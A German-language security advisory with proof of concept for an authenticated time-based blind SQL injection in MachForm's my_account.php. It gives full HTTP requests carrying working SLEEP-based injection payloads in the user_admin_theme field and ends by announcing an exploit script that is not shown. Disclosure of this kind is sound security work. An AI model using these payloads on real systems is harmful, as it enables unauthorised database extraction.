
Exploit-Skript für authentifizierte blinde SQL-Injection in MachForm bis v19, das zeitbasierte Techniken nutzt, um Datenbankinformationen vom my_account.php-Endpunkt zu extrahieren.
MachForm bis Version 19 ist von einer authentifizierten Blind-SQL-Injection auf der Benutzerkontoeinstellungsseite betroffen.
SQL-Injection-Angriffe bestehen darin, SQL-Abfragen über die Verwendung eines Eingabedatenfeldes aus der Client-Anwendung einzuschleusen. Diese Art von Angriff ermöglicht den Zugriff auf die Datenbank, was zur Exfiltration, Änderung oder Löschung vorhandener Daten führen kann.
Blind-SQL-Injection ist eine spezifische Angriffsart, bei der der Angreifer nicht das vollständige Abfrageergebnis erhält, sondern nur in der Lage ist, Ja-oder-Nein-Fragen zu stellen; dies kann durch die Verwendung von Sleep-Funktionen erreicht werden, um eine Verzögerung in der Datenbankantwort zu erzwingen oder Fehlerbedingungen auszulösen.
Der Parameter user_admin_theme in der Ressource my_account.php ist anfällig für SQL-Injection.

Anfrage:
POST /my_account.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
Origin: https://application-baseurl
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
user_admin_theme=vibrant'+&user_email=existing_user%40email.com&tsv_confirm_token=&submit_form=1
Antwort:
HTTP/1.1 302 Found
Date: Wed, 10 Apr 2024 09:15:21 GMT
Content-Security-Policy: default-src 'self' 'unsafe-inline'; img-src 'self' data:; frame-ancestors 'self' *.application-baseurl; script-src-elem 'self' 'unsafe-inline' www.machform.com
Strict-Transport-Security: max-age=31536000
Referrer-Policy: no-referrer, strict-origin
X-Content-Type-Options: nosniff
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /my_account.php
Vary: Accept-Encoding,User-Agent
Content-Length: 967
Content-Type: text/html; charset=UTF-8
Connection: close
SQL: [647] INSERT INTO `ap_sessions` VALUES('ngkvjulsl5pstmlb8q6jds2vle', 'session_timeout|i:1712740521;mf_logged_in|b:1;mf_user_id|s:2:"11";mf_user_privileges|a:3:{s:15:"priv_administer";i:0;s:14:"priv_new_forms";i:0;s:15:"priv_new_themes";i:0;}mf_user_admin_theme|s:9:"vibrant' ";MF_SUCCESS|s:28:"Your profile has been saved.";', '1712740521') ON DUPLICATE KEY UPDATE `data`='session_timeout|i:1712740521;mf_logged_in|b:1;mf_user_id|s:2:"11";mf_user_privileges|a:3:{s:15:"priv_administer";i:0;s:14:"priv_new_forms";i:0;s:15:"priv_new_themes";i:0;}mf_user_admin_theme|s:9:"vibrant' ";MF_SUCCESS|s:28:"Your profile has been saved.";',`timestamp`='1712740521'
Params: 0
Query Failed: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'Your profile has been saved.";', '1712740521') ON DUPLICATE KEY UPDATE `data`='s' at line 1
Dies kann mittels eines zeitbasierten Angriffs ausgenutzt werden, indem eine Sleep-Bedingung verwendet wird und überprüft wird, ob sich die Antwortverzögerung basierend auf dem angeforderten Abfrageergebnis ändert.
Abfrage:
SELECT CASE WHEN (1=1) THEN SLEEP(2) ELSE SLEEP(0) END
Durch Verwendung einer immer wahren Bedingung dauert die Antwort der Anwendung mehr als 2000 ms.

Anfrage:
POST /my_account.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Referer: https://application-baseurl
Content-Type: application/x-www-form-urlencoded
Content-Length: 228
Origin: https://application-baseurl
Connection: close
user_admin_theme=dark',+'1712843926')+ON+DUPLICATE+KEY+UPDATE+`timestamp`%3d'1712843926'%3b+SELECT+CASE+WHEN+(1%3d1)+THEN+SLEEP(2)+ELSE+SLEEP(0)+END+--+&user_email=existing_user%40email.com&tsv_confirm_token=&submit_form=1
Abfrage:
SELECT CASE WHEN (1=2) THEN SLEEP(2) ELSE SLEEP(0) END
Durch Verwendung einer immer falschen Bedingung ist die Antwort der Anwendung dagegen nahezu sofort.

Anfrage:
POST /my_account.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Referer: https://application-baseurl/
Content-Type: application/x-www-form-urlencoded
Content-Length: 228
Origin: https://application-baseurl
Connection: close
user_admin_theme=dark',+'1712843926')+ON+DUPLICATE+KEY+UPDATE+`timestamp`%3d'1712843926'%3b+SELECT+CASE+WHEN+(1%3d0)+THEN+SLEEP(2)+ELSE+SLEEP(0)+END+--+&user_email=existing_user%40email.com&tsv_confirm_token=&submit_form=1
Diese Schwachstelle kann mittels eines einfachen Skripts ausgenutzt werden, das die Antwortzeit auswertet, um zu verstehen, ob die eingegebene Abfrage eine wahre oder falsche Antwort hatte.
Unten ein Beispiel, das verwendet wird, um den aktuellen Datenbankbenutzer mit exploit.py abzurufen.
